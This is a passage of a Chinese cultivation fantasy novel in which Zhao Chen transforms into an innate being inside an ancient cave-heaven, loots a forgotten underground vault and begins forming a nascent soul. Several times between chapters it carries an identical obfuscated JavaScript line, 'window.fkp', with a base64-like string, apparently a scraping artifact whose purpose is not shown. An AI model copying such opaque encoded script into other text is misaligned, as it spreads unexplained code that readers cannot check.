晚上,原本正静静飘在江中的楼船,忽然脱离水面,向不远处的茫山飞去。明尘等人站在船头的甲板上,或在凭栏远眺,或在低声交流。 赵尘依照明尘的吩咐,将五感调到最大。明尘三人的气息一点都感知不到,但姬昭和虞湘两人的气息都如同两支在黑夜中熊熊燃烧的火炬一般明亮旺盛。 不同之处在于,虞湘的气息之中不但纠缠着一层薄薄的水泽之气,还夹杂着丝丝庄严威仪。而姬昭的气息更似云似水似风。 所谓水泽之气,并不是气态的水或是水属性的灵气,而是一种更加玄虚的气机。天地灵气本身没有所谓的属性,但长久处于大江大河,江河湖海,甚至池塘水洼处的灵气,在外界环境的侵染之下,一点点的偏向水属性,最后变成所谓水属性的灵气。 而水泽之气便可以将周围的灵气一点点向水属性偏转,而水属性灵气积聚之处,自然会有水的汇聚和产生。其实以赵尘现在的修为,是看不见水泽之气的,只能通过被灵觉于冥冥之中感觉到,虞湘周身灵气属性,以心念不可查的速度在微微偏转,才察觉到的。 突然,赵尘只感觉原本悾悾荡荡之处,一轮满月从虚空中缓缓升起。一瞬间,圆满、浩瀚、飘渺、清澈、空灵、寂静的气息遍洒虚空,似海似天,让人望之心折。 “果真是形如满月,碧海青天啊!”秋禾、淑月两位都不禁脱口而出。 “师兄这人间修行之路已然走到了尽头,成仙了道就在眼前了,恭喜恭喜。” “没什么,不过是比两位先行了半步而已,而且还差一点。” 随后,明尘又将自身的气息和天上月、水中月相互勾连在一起,三轮明月互相映照,抬手一划,便驾着楼船穿过一道狭长的涟漪,消失在空中。 驶入洞天之后,赵尘在甲板上抬首望去,整座洞天长宽皆在一万余里左右,,高也不过百余里。除了中间那片宫殿还算完整之外,其余地方皆是些枯木杂草,黄土尘沙。其中灵气甚至不如解封后的灵照山。不过相对于灵照山中的灵气,此处的灵气要更玄妙很多。 按照书中记载,根据赵尘的理解,此界的先天灵气,可以说是稀释到临界状态的天地本源,而后天灵气,只能算沾染了一些本源特性的高等能量。 将此世的先天灵气、后天灵气和前世的灵气做一个比较的话。这一世的后天灵气和前世的灵气相比,不但有数量上的差距,还有质量上的差距,就好像一座金山和一捧沙子之间的差距。 黄金和沙子在价值上差距之大,但终究都是实实在在的物质,从某个角度来说,在位格上还是平等的,但而这一世先天灵气和后天灵气的差距,就好像真实的黄金和画出来的黄金一样。纵然画的栩栩如生,远远看去好像差不多,但实际上压根不是一个维度的东西。 明尘扫视了一圈,看着秋禾和淑月道:“先天灵气占总灵气的三成五还多一点,比三百年前略下降了一点点,但总的灵气浓度没变。”两人也点了点头。 随后,明尘驾着楼船向中间那座宫殿群驶去,穿过一层看不见的屏障,在一座广场上停了下来。待众人下船后,明尘一招手,将楼船变成一寸大小的木雕,塞回袖中。 赵尘稍微感受了一下,这儿的灵气,单论浓度,并不比外面高多少,但却要比外面玄奥精微许多。 “这儿的灵气之中,先天灵气要占据七成有余。”看见赵尘的动作,淑月笑着解释道。 “自生灵纪以后,先天灵气退变成后天灵气,出生的生灵也皆是后天生灵。”秋禾也随之接口道:“那小赵尘,你知道先天生灵和后天生灵有什么区别吗?” “还请前辈指教。” “区别也不大,也就是先天生灵的本源比之后天生灵更加玄妙厚实一点点。因为这点本源的差距,又表现出了其他的一些区别。” “先说寿元,后天生灵,天寿三甲子。当然,寻常百姓,生活困苦,能活六十多岁已不算短命,那些达官显贵、富贵人家,也就七八十岁,八九十岁罢了。哪怕结成金丹,也就能活个一百五十多年。” “至于先天生灵,天寿五甲子,也就是三百年,基本上都能活个两百岁往上,两百五十岁往上的也不少见。” “再说成仙的几率,先天生灵比后天生灵要高上十倍。至于其他的区别,还有很多,但和我们就没什么关系。” 虽然事前明尘已经告诉赵尘来这里的原因,是为了帮赵尘夯实根基,使其沾染上一些先天生灵的特性,但却没想到先天生灵和后天生灵这两者之间,明尘所说的一点点基础上的差距,实际上有这么大。 “师叔祖,那有成为先天生灵的办法吗?”赵尘不禁回头看向明尘。 “没有,或者说理论上有,还很简单,便是之前让你练的那一套秘法。但实际上却没有实现的可能性。能够实现这个可能的,先天生灵和后天生灵的那点差距轻松就能补回来。”明尘看了眼旁边:“无论是对他们自己来说,还是对他们的后人来说。” “而且,便是真正的先天生灵,在这后天灵气的环境中,与这天地不断交换着灵气,也会逐渐退化的。”明尘摇了摇头:“便是用锁灵之法,没有源源不断的先天灵气补充,也只不过是退化的慢一点罢了。” “虽然这洞天之中应该有一条和地脉完全斩断的先天灵脉,但也没什么用处。” “一来你根本没有可以承载先天灵脉的器物。二来这灵脉和地脉完全斩断,也是一无根之木,无源之水。也就能当一段高度凝炼的先天灵气使用,这么多年消耗下来,怕也是所剩无几了。” 赵尘闻言,心中一动:“那要怎么对这段灵脉进行滋养?” 对于赵尘的异想天开,明尘笑着摇了摇头,对其笑着解释了起来。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十八章 秘法 这灵脉也是地脉的一种,想要滋养灵脉,使其保持活性,只要将之接入地脉之中就行了。但因为如今的天地环境,这灵脉在接入地脉的一瞬间就会退化成后天灵脉。 除此之外,便只能用天光地气对其进行滋养了,方法也很简单,先收集一团天光地气,然后以特殊法门,用大量的先天灵气对其进行洗炼,使其归属先天。再用洗炼成功的天光地气滋养灵脉。听着过程,就知道这转化效率有多不靠谱了。 几人一边说着,一边在宫殿之中闲逛。 面对空空荡荡,基本上除了一些石基、墙壁上残有一些模糊的壁画、雕刻外,什么也没有的宫殿,姬昭却显得兴致勃勃。 偶尔找到一些,只是一碰,甚至走近了就变成飞灰的金石、青铜等残骸,也自觉大有收获。若是捡到能大体还能看出个形状,可以抓在手中把玩的器物,那开心的就像捡到干果的松鼠,喜滋滋的收了起来。 一些完全剥离了一切装饰的斑驳石壁、圆柱之上,隐约可见一些纹路。赵尘伸手从纹理上摸过,用手按住石壁,用力一捏,便从墙上擦出一层石粉。 “这些纹理是金仙将自身的道与理交织在建筑上形成的,所以殿内大多金石器物都化作飞灰了,这宫殿却依旧存世至今。” “虽说金性不朽,但这洞天至少荒废了五十万亿年,其留下的法力和道纹却也被时光一点点消磨掉,连用金仙的道来庇护的宫殿也逐渐腐朽了。” 虽说这些道纹已是神韵皆无,甚至连空有其形都算不上,但赵尘还是将这些纹路给记录了下来。 几人走进一小广场,其一侧围墙上开有一座小门。因为门早已经化成了灰,只留下一条三丈长的石拱走道,高不到一丈,宽不足五尺。走道内刻满了各种符纹,虽被时光消磨了大半,但剩下的符纹还隐隐有光华流动。 走道两端,皆有一层暗淡的光幕,透过走道往后看去,只看见一点荒芜的土地。不时,就有一丝丝先天灵气穿过走道,从对面过来。 这里的灵气,有大约七成半是先天灵气,有将近一成是后天灵气,有将近一成半是处于先天灵气和后天灵气不断转化的过程。将这一成半的灵气分成五份,有四份多是先天灵气转化为后天灵气,有不到一份的灵气处于后天灵气逆转成先天灵气的的状态。” “这便那座秘境了,据我等估计,对面应该是一座药园。这条走道,历经无数岁月。上面的符纹虽还算稳固,但也只能承受金丹境的力量。”明尘走到跟前,指着石拱门开口道。 随后又对赵尘问道:“之前让你练的《返婴》,可熟练了?” “除了从后天回归先天这一核心之处还不甚明了之外,其它的皆以十分熟练。” “这一核心点,若是没有实物参考,以你的境界是根本没法入门的,便是入我这样的境界,若是凭空参悟,也要几十、上百年才能悟透。但此处便是你参悟这后天回归先天的关键之地。”说话间,明尘三人便将当年留下的禁制解开。 所谓返婴,便是返本还源,回归婴孩之意。实际上,这是一部让人在海量的先天灵气之下,从后天生灵变成先天生灵的秘法。 这部只能在金丹境修行的秘法,创造于生灵纪早期,当时天地灵气正处于先天向后天转变的开始阶段。后天生灵虽不断出现,但先天灵气更是无穷无尽。与之相对的还有一部名为《金关玉锁》的锁灵秘法,创建于生灵纪中期。 便如之前所说,当今之世,便是用这种法门将自身蜕变成先天生灵,并用锁灵之法将自身锁住,也只能延缓自身重新退化成后天生灵的时间。这种退化一直到成仙才会放缓,最后到金仙境界完全停止。所以最后也只能或多或少的保留一些先天生灵的特征罢了。 就在赵尘参悟秘法的过程中,早已来过这里,并完全学会该秘法的姬昭和虞湘两人已经进入了秘境。 直到三个多时辰后,赵尘才勉强隐隐约约,将这只占全部灵气不到百分之三的,处于后天返先天状态的灵气,从全部灵气中分辨出来。随后又一连参悟了三天,却依然毫无所得。 “既然自身天资不够,只能作弊了。”赵尘心中默默的叹了口气。 赵尘张口将大把灵气吞入腹中,随即又将除那百分之三之外的灵气全部吐了出去,如此数十次,让那种特殊灵气充斥自身,随后又不时吐纳一次,以维持状态。 实际上,赵尘努力的将灵气吞入体内,再用磨盘将体内的灵气全部演化成这种后天返先天的状态。让这种特殊状态的灵气不但充斥体内,便是识海也被这种特殊的灵气和韵律充斥,使自己完全沉浸在这种后天返先天的过程。 明尘三人的目光都被赵尘吸引了过去。只见赵尘身上散发这一种特殊的韵律,周围的灵气不断的被赵尘吸入体内。整个人都在从后天生灵往先天生灵的状态转变,虽然这种转变,微乎其微,近乎于无。 “师兄这晚辈天资着实不凡。” “确实,先前我便带虞湘来过这里,这套秘法的核心,半个月才摸到门,一年多才修成。看其这三天摸到门栏的样子,快则三五个月,慢的话半年多就能修成了。” “哪里,这小家伙可是我唯一在世的族人了,却不想真有几分天资,但这点天资,想要依其成仙,却是难难难……” 一晃三个月过去,赵尘忽然清醒过来,默默的感应了下,连体内法力都缩水了一成多,但也更加的玄奥精微。赵尘连忙起身,向明尘几人问过安后,也走进光幕之中。 等赵尘完全没影之后,淑月看着明尘,感叹道:“你这个后辈,好高的悟性啊。” “还行,还行,不算给我丢脸。”明尘一脸笑意的摆着手。 秋禾啐了一声道:“明尘师兄,你倒是好大的脸啊。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第二十九章 逆反先天 赵尘穿过两层光幕之后,只觉先天灵气扑面而来,充斥天地之间。极目远眺,整座秘境呈一直径一百多里的不规则圆形,遍地都是药性不明杂草,具体可用的草药百中无一,远处稀稀疏疏的长着几株小树。弯腰抓起一把土,发现土地极其肥沃,充斥着药性,只是颇为杂乱。 这以前应该是一座药园,数十万亿年无人打理,一代代草木荣枯,不计其数的草药腐烂在泥土里。使这块土地虽地力肥厚,但药力繁杂。只有生命力顽强,且对环境要求非常不苛刻的草木才能生存下来。 赵尘仔细观察着周围的环境,猜测着。 除了这些草木之外,这里活着的生物大概只有赵尘三人了。赵尘轻松便感知到了姬昭和虞湘所在。赵尘随即选了一个不同的方向走去。一直行了近五十里,只遇到了一百多株可用的植物,但其中却有十多株仙珍。 这些药草,小的被赵尘连根挖走,大的也选出精华部位,采摘下来,都用玉匣封好,塞入金贴之中 赵尘在四周挑选了一番,选好闭关之地,搭建了一个小小的庭院,便开始了自己的苦修之旅。 或修炼秘法《返婴》,或打磨金丹。修行累了,或读诵经典,或演练法术。在闲的无聊,便出门搜寻灵药仙珍,若是遇上另外两人也得空时,便与之交流切磋一番。不过大多数时候遇到的都是姬昭,唯一遇见虞湘的那次也是和其一碰到的。 便这般过去了小两年时间。 一次,赵尘闭关结束,闲坐在院中,捧着一卷竹简发呆,心想:最近几次出去都没有遇到姬昭,便是连他两人的气息都没有感受到了,想来应该是出去了。 自己《返婴》的修炼,已经完成了身体和法力的蜕变。剩下的灵魂也已经差不多了,至于最后金丹和最困难的真灵的蜕变,那只能是水磨工夫了。而且熬完这个水磨工夫之后,还有一次对整体整合的最后一次突变。想到这里,靠在椅子上的赵尘更瘫软了几分。 至于金丹境的修行,基本上也已经走完了,当的起一声根性坚固了。 “也幸好这走道所要求的金丹境,在法力上说的是质,而不是量。要不然我根本就进不来。”想到这里,赵尘又暗自庆幸了起来:“不过即便如此,我的时间也不多了。到时尽量压制一下吧,别一下突破了,被困在里面出不去,那就完了!” 在这之后,赵尘的生活变的更加规律起来,如此有过去了一年有余。一日,赵尘灵魂深处,那一点真灵,最后一丝后天之属被转化成先天。 磅礴的先天灵气好似瀑布一般冲下,将赵尘从血肉骨髓到周身法力,再到魂魄真灵,上面所有的后天气息冲刷的一干二净。 弥漫全身的特殊韵律逐渐收敛消失,到最后似有似无,快要彻底消失时却又突然炸开,无尽的道韵从虚空中冲出,将赵尘彻底包裹起来。 赵尘只觉的这无尽的道韵好像化作了一层薄膜,这层薄膜好像天地一般,先将自己从存在到概念上消磨干净,又将自己从虚无中重新孕育而出。经历了一番生死间大恐怖的赵尘猛然惊醒,将覆盖在自己身上的“道韵薄膜”撕裂,从中跳了出来。 直到此时,赵尘彻底从后天生灵转变成先天生灵。 来不及查看身为先天生灵的自己有何特异之处,赵尘连忙将自己从上到下细细摸索了一遍。发现没有莫名少点什么之后,才深深的松了口气:“什么最后一次蜕变只是对之前种种的一次整合,非常轻松简单,根本就是骗鬼的话!” 这时,赵尘才回过神来,细细体会自己的不同之处。一番体悟之后,赵尘抬起手臂,伸手在眼前轻轻虚握,只见手心白、青、黑、红、黄五色光华在手中生灭。微微一搓,向前甩去,一团五色霞光砸在十多丈外的土地上。 光团落在地上,“轰”的一声,炸出一直径将近一丈的大坑。 赵尘走近一看,有两三尺深:“果然,先天生灵和后天生灵根本不是一个物种,单以法力而论,便不可同日而语。不过,若是到了外界,面对浩瀚如海的后天灵气,便是不吐纳练功,也会迅速往后天生灵退变,要早做好准备。” 心中思量着,赵尘花费数天时间,完成了《金关玉锁》的修炼。 修炼结束后,赵尘收拾完东西之后,并没有出药园,而是按照原定计划,花了五六天,测量出这片药园的中心位置。随后又往下掘了数十丈,发现一张石板。掀开石板,则是一口深不见底的石井,近乎雾态的先天灵气从中喷薄而出。 “终于找到了为药园供给灵气的灵脉所在。” 之前听明尘说这里有先天灵脉时,赵尘就起了心思,随后,赵尘发现洞天中的先天灵气都是来自于这座药园之后,就更加上心了。 正如明尘之前所说,要在这外界大天地之中,不从先天生灵退化出去,不但需要圆满的《金关玉锁》,还需要一条先天灵脉为自己源源不断的补充先天灵气。 至于用什么来承载先天灵脉,赵尘打算用自己的磨盘试一试,并且可以吸收外界灵气,将之通过磨盘转化,用来滋养灵脉。若是成功,这条灵脉不但可以成为维持自己先天生灵身份的食粮,还可以成为自己古仙路的根基。 古法的第一、二阶的修行和天地二法门相同,而第三阶则接近于地法,或者说地仙之路便是从古法的第三阶扩充而来。 古法的三阶从第二阶的重在炼神又转回了练精。法天地升降之理,依元神中一点灵性,凝一颗真种,将真种种入地脉节点。使其化作福地,演化洞天,取天地瑞璞精气,反补自身。这便是洞玄、返虚、空冥三步。 这其中有两个难点:一是真种的凝炼,据书中所载,只有先天生灵,才能凝炼出完整的真种,后天生灵所凝炼的真种尽皆有缺。这也是秘法《返婴》被开创出来的一个重要原因。 第二个难点便是这枚真种必须种入先天地脉之中,若是种入后天地脉,那只能做一番调整,转修地仙法门了。 而灵脉便是地脉的一种,所以,若是能够按赵尘所期望的那样,这两个难点便这样一并解决掉。自己就可以修行古法,而古法天仙和正法天仙之间的差距,一点也不比正法天仙和练气一脉天仙之间的差距小。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第三十章 地宫(上) 看着眼前的石井,赵尘将思虑收回:“终于挖完了,见鬼,这药园的土,竟然没办法土遁,也不知是哪个缺德的干的。” 说着,赵尘无奈的抬头看了眼碗口大的天,从井口跳了下去。 “啊……” 赵尘从地上起身,一边拍打着身上几乎不存在的尘土,一边抬头看着插在井底石壁上的白玉匕首,和系在匕首柄上的绳索,随即用手拉了拉,看是否结实。 “不正常啊,这么缺德!一百丈的井我也忍了,最后三丈,竟然禁法。而且这大殿之中,虽不禁法,但却禁空!要不是最后调整了过来,十多丈高的地方摔下来……” “便是没摔伤,若不是我防了一手,系了一根绳索,到时想要上去,怕是只能挖土填脚下了。一条灵脉而已,至于藏这么严实吗?” 抬头看着这足有十三丈高的圆拱状石顶,和顶上正中那口石井,赵尘不禁骂出声来。同时四处看去,整座石室,好似一个穹庐,直径足有十里。 石室之内,充沛的先天灵气下,颇有一种烟雨朦胧之感。地上一些凹凸不平的地方,在其凹陷处,积累着一些液化的灵气,不一会儿,又迅速挥发掉。除此之外,还不时有灵液从石壁顶端,凸起处滴落下来。 石室正中,正是赵尘要找的先天灵脉,一丈余长,手指粗细,悬于半空,自两端三分之一处,分别被一条从虚空伸出的金色锁链锁住,锁链暗淡残破。 灵脉就在眼前,赵尘反倒是不急了。随之又往四周走去,围着石壁大概转了一圈。 一圈石壁被大致分成了五段。一段放着一堆骨制、石制、竹制、玉制、丝制、锦制的书简。一段堆着一堆法宝兵器,一段堆着一堆灵材矿物,一段码放着一堆瓶瓶罐罐,一段堆着各类草药、种子。 “没想到还有意外收获,难怪藏的这么严实,”让赵尘惊异的是,五十万亿年沧海桑田,岁月变迁之下,虽然大部分东西都腐朽了,但还有一些东西留存了下来:“这莫非是这家洞天底蕴秘藏,发了发了!” 赵尘不自觉的搓了搓手,向旁边走去。相对来说,这儿的情况要远好于外界大殿之中,但实际上也不容乐观。 走到堆放书简的地方,其实这些书简原本都依次摆放在书架之上的,只是如今绝大多数书架都化作了一滩朽泥,只有数十个书架还勉强保持着形状。其他的书简都散落的堆叠在一层层朽泥之中。 赵尘连忙施展法术,用法力将这些书简包裹起来。这种法术是宗门研究出来,经过无数人,数十万年来不断改进的,专门用来清理、保存遗迹中发现的书简的。 花费大半天时间,赵尘终究也只将四五成的书简清理了出来,其中石玉简占将近七成,甲骨之类的书简占两成朵,竹木类的书简不到一成,丝锦类的仅保存下来十数份。但换句话来说,这能留下的十几份丝锦都是丝锦类书简中最珍贵的。 赵尘将这些书简整理完之后,找了处地方,摆了套桌椅,大致的翻阅了这些书简,企图了解这座地宫的详细信息。 因为这座洞天时人皇时代所留,所以这之中竹木、丝锦和大部分石玉材质的书简都是用道文书写。至于剩下的甲骨和一些石玉材质的书简,只能靠猜了。 所幸赵尘实在找这座洞天和这些物资的记载,所以也用不上这些靠猜的书简。 人皇时代之前,最早的字符是由各先天神圣观日月星辰运转,法山川地脉走势,画出来的。 后来各族生灵在此基础上,约定俗成了各族文字。所以读这些文字只能依照所学知识,感悟每个字的字形、道韵来猜测,所以境界越高,经验越丰富,准确率就越高。 后来人皇一统世界,以人族古字为基,吸纳各族文字的神韵、精粹,创造了属于人族的文字,自称其为篆体、篆文,并推行世间,后世将之称为古篆、正篆、道文。 所以人皇时代的法器、建筑等上的符纹、装饰、花纹等,或个人感悟的道与理交织出的纹路多是道文的变体、花体,称为道纹 人皇时代之后,道文又分成了三种演化方向,一是神篆、神文,像神灵的神位符诏,神灵法旨,天庭的文书等都是用神篆书写的,而神道的法器、建筑等上面的花纹也多是神篆的变形、花体。称为神纹。 其二是仙篆、仙文,仙庭的文书,成仙的诏书,还有一些道经之类的用的是仙篆,像法器上的纹路、花纹,符咒之类的也有些是仙篆的变形、花体,称为仙纹。 其三便是冥篆、冥文,同理可得,像阴司冥府的文书、法器、装饰等等就是用的冥篆。 而道纹不仅是道文的变形、花体,神纹、仙纹、冥纹也一样,而且,无论道纹、神纹、仙纹、还是冥纹,都可以统称道纹。 至于如今人间各地的文字,都是在对正篆进行各种残体、简体后变形得到的。所以如今人间各地、各国的文字虽千差万别,各不一样,但如果把大量的不同的文字放一起比较,还是能发现其似曾相似之处的。 赵尘入山之后,便将道文、仙文学完了,神文也学了大半,其它的也能认的出意思,至于冥文,连蒙带猜也能猜出大半。当然了,这里的学完、认识只是指记住了基础字形,知道了基础的意思,明悟了最初始的道韵流转。 赵尘将这书简大概翻阅了一下,这条灵脉作为洞天中数条灵脉之一,也是唯一一条没有和地脉连接的灵脉,主要便是供给药园中药材生长所用。被开派的金仙老祖所封印,灵脉上的锁链便是残存的金仙法则。 所幸,关于这座地宫的记录都是石简,所以都保存了下来。 据记载,这条灵脉刚被封印进来时,有数十里长,五六丈粗,被盘在地宫之中。至于地宫之中的东西,是历代掌门积累下来的,以待宗门落魄之后,用以东山再起的资本。 也许是忽然间遭到了重大的打击,知情人都陨落了,这座地宫被人给遗忘了。赵尘对着玉简猜测着。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第三十一章 地宫(下) 整片药园都被金仙施加了指地成钢类的法术,越往下越坚硬,上层还和普通的药园差不多。 当然了,这里的差不多指的是相比于普通的栽种灵植、仙株的泥土。这种泥土,又被人称为玉泥,这玉泥虽有品阶之分,但对普通人来说,便是最下等的玉泥,那也是形如美玉,质若金铁的。几十万亿年岁月消磨之下,论形状和质地,就真的和普通泥土差不多了。 而最后十数丈完全是硬若金刚,只有掌门能通过石板下的传送阵进来,禁止土遁完全是附加的效果。数十万亿年沧海桑田,指地成钢的法术几乎全部消散了,只有无法土遁的效果残留下来,而石板下的传送阵也被时光消磨干净了。 石井底端三丈禁法层,在其完好之时,完全可以将偷入此地的不速之客困死在地宫之中。 大概翻了翻地宫的书简,弄明白了相关的情况,赵尘又走到了堆放法宝兵器的一段,发现保存下来的也就十之一二。 花一天时间将保存完好的整理了出来。其中储物类的有几十件,大的有手臂长,中等的有巴掌大,小的不过香囊大小,各种样式皆有样,其中品质最高的十几件,是用一种早已灭绝的异兽皮制成。 收拾完兵器法宝,赵尘又走到堆放灵材矿物的地方,灵材矿物到存留下来不少,足足保留了近五成,哪怕去除神曦有所流失的,也有三成多,全部用兽皮口袋放好。 之后是一堆瓶瓶罐罐,里面装着各种丹药、灵液等等,不过这却是重灾区。赵尘花费三天时间将其全部整理出来,分类放好,真正存留下来的,完全可以用万不存一来形容。 最后的灵药那一堆,两级分化极其的严重,成品的灵药保存下来的百无一二,且大多数药性流失严重。倒是种子,留存不少,还有近三成的种子保存有活力。 看着自己的收获,赵尘不禁感叹道:“不愧是人皇时代的遗迹啊,哪怕仅仅是一个小小的残破洞天,这收获……” 将能用的全部收藏好,分门别类的用储物类的器物装好,便是连那些灵液都没放过。储物类的器物,依照品质的不同,可以将品质低的收入品质高的之中。最后全部装入那十几只兽皮口袋之中,这些口袋,小的不到巴掌大,大的有一尺多长, 将一切收拾好,赵尘找个地方,铺了张席子,好好的睡了一觉。一觉醒来,神清气爽的赵尘将这些杂物收拾干净,走到灵脉前,:“虽然这意外收获有点超出意外,不过也不能把正事忘了,成不成就看这一次了。” 赵尘闭目凝神,平复了思绪,掐指成剑,运转秘法,对着灵脉狠狠一划,巨大的力量反震过来。赵尘一口血吐了出来,却不管不顾,一把抓住被切下来的四分之一的灵脉,立刻将灵脉收进磨盘之中。 看见磨盘中那一截灵脉,赵尘不由开心道:“吾道成矣,不对,应该是第一步,成了!”随之摸出一小瓷瓶,往嘴中倒了几口,塞回袖中,紧张的盯着剩下的灵脉。 被切下一截之后,剩下的四分之三灵脉上的锁链便震动了起来,又缓缓的移到新的三分之一和三分之二处便安静了下来。虽然损失了四分之一的灵脉,对这座残破洞天来说,绝对称得上损失惨重,但这都是深远影响,现在却是状态不显。 见状,赵尘缓缓的吐了口气,收回桌椅,铺上席子,盘坐在席子上,闭关苦修了三个月。 先是调理好了内伤,其次是完成了自己的目标,将自己在外界吞吐的灵气全部给磨盘,转化成温养灵脉的能量。而自己练功所需的先天灵气全部从磨盘中的先天灵脉中获得。隔绝内外,使自己在外界时不会从先天生灵退变成后天生灵。 因为金帖中空间较低,无法将兽皮口袋收入其中的原因,赵尘用灵脉来供其消耗,在磨盘中开辟了一个空间,将这些兽皮口袋全部收入其中。赵尘虽然不会开辟空间的手段,但这么多储物法器乃至法宝在手,让磨盘照着这些空间自己捣腾一个还是没问题的。 将一切收拾好后,赵尘沿着绳子爬到石井底部,收回匕首,鼓荡气血,手脚并用的爬出禁法层的那一段,驾起遁光飞出井外,将石板、土层等一切还原,抹去痕迹后,又驾起遁光在整座药园飞了一圈,确认完没有什么便宜可占后,赵尘驾起遁光向来处赶去。 …… “回来啦,一切顺利吗?” 赵尘刚从光幕里钻出来,便听见明尘的问话。抬头一看就见明尘和秋禾、淑月出现在眼前。三人抬手将一道道禁制打入光幕之中。 “师叔祖,这?” “据估计,便是这般消耗,这条灵脉至少还可以坚持个千把年。”见赵尘疑惑的表情,明尘摆了摆手:“在先天灵气早已消散的今天,在天仙眼中,这也是非比寻常。虽然不会将之抽出来,但也要留个印记,表示这是有主之物。” “对了,赵尘,你还有什么事吗,要是没事的话,我们就准备回去了。” 赵尘闻言,一时竟有几分心虚,听见明尘的话,连忙开口道:“额,师叔祖,这三年,不但修完了《返婴》,还将金丹境界修炼到了极限。” “所以我打算借着儿的先天灵气突破炼精化气,到达炼气化神,不知可不可以。”赵尘一脸腼腆的说道。 看着一脸故作腼腆的赵尘,秋禾不禁笑出声来,看了明尘一眼:“没关系,没关系,你就在这儿修炼吧,明尘师兄,我和师姐便先出去了”说着便拉着淑月,带着姬昭、虞湘两人往外走去。 “尽给我丢人。”明尘狠狠的瞪了赵尘一眼,手一挥,地上出现了两张席子,顺势坐在一张席子上:“上万年的清心草编成的草席,不但能静心凝神,还能防止外魔。” “炼精化气最是打基础的时候,所以什么时候才算到了最好的时候,不但因人而异,而且外人还看不出来,只能是如人饮水,冷暖自知。废话我也不多说了,只问你一句,确定是根要在这里突破吗?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第三十二章 凝聚元婴 “既如此,那五条仙路,你打算走那一条。” “弟子打算在天地二法门之中选一个,具体的还在斟酌之中。” “这天、地、人、神、鬼,五条仙路,差别虽然不是特别大。但也不小。” “这人仙法门最重悟性,最重成就也不如天地二法门的本源厚重。再比如说这神鬼二法门,修炼路径好似差不多,但神仙法门修行的难度,所消耗的资源要远大于鬼仙法门,其成就也远高于鬼仙法门。” “鬼仙成就者,阴中超脱,于天宫无姓,于四海无名,终落籍于冥庭。说是成仙,实际上却是将自己修成了仙阶的清灵鬼体。说是天仙,其实也能说是天鬼,和其它法门相比,终究落入了下乘。” “人、神二法门,虽胜过鬼仙法门,也各有妙处,但总的来说,终究逊于天地二法门一筹。” “说回来,五种法门之中,天仙法门最得古法清贵逍遥之意,而地仙法门成就者,其本源厚重程度最接近古法天仙。总的来说,这天地二法门,在五种法门之中,成就要稍高一点,但也稍难了一点。” “你既然做出了选择,我就不多说什么了,便在一旁给你护法了。” 赵尘见状,习惯性的从袖中甩出几枚玉符,围着赵尘摆成一个阵势。紧接着,赵尘盘坐在席子上,观想着自己体内那一点似是还虚,似有还无的根源。 缓缓地,以那一点根源为基,赵尘不断的把意识往那一点根源上集中,带动着体内的法力也不断往根源集中。随着赵尘的意识不断从身体内抽离。对于这个过程,因为先前在修行《返婴》进行最后一次蜕变时,已经经历过一遍,甚至更加剧烈和恐怖,所以心中没有丝毫波动。 赵尘的身体也逐渐进入龟息的状态,从外界看去,赵尘的身体盘坐在席子上,逐渐从一个活人,变的好像一块顽石,一截枯木。 从第一阶突破到第二阶,无论是凝元婴还是出阴神,甚至是金丹一转,都有一个共同的关窍要度过,那便是心死神活。 所谓心思神活,便是指自身寂灭,以无上的勇气、智慧和运气,在死亡中真实不虚的把握住自身的灵魂,借此跨越生死,同时这也是以自身为小天地,用灵魂对演生纪时,先天神圣从天地之中孕育诞生的一次简单模拟。 这种心死神活的过程,可谓一步生,一步死。自身入寂之后,再次醒来之时,或是成功突破,或是已然魂归下土,没有第二种可能。 便是这一小步,在世俗浊流之中,也多是将之单独列成一个境界,开发出种种手段,以求降低难度,结果不但失其真意,失败率虽略有降低,却也居高不下,不知道是赚了还是赔了。 一连过去几天,随着赵尘的意识从太虚空明中逐渐醒来。赵尘体内那一点根源上,一点意识缓慢的出现,逐渐从蒙昧、朦胧变的清醒、活跃。赵尘只觉的自己处于一片黑暗、深邃、安详、温暖之中。 赵尘知道,这是自己的魂魄以那一点根源为依托,依靠自身法力的孕育、温养,终于由虚转实,显化了出来。同样,这也说明自己已经完成了心死神活的过程,虽然对自己能完成这一蜕变毫不怀疑,但心中还是泛起淡淡的喜意。 完成了心死神活的过程,距离元婴境只有最后一个步骤了。不说别的,单元婴境界三百岁的寿元,便足以让赵尘欣喜万分。 于是,赵尘立刻裹挟着周围的法力,用力往上一跃。 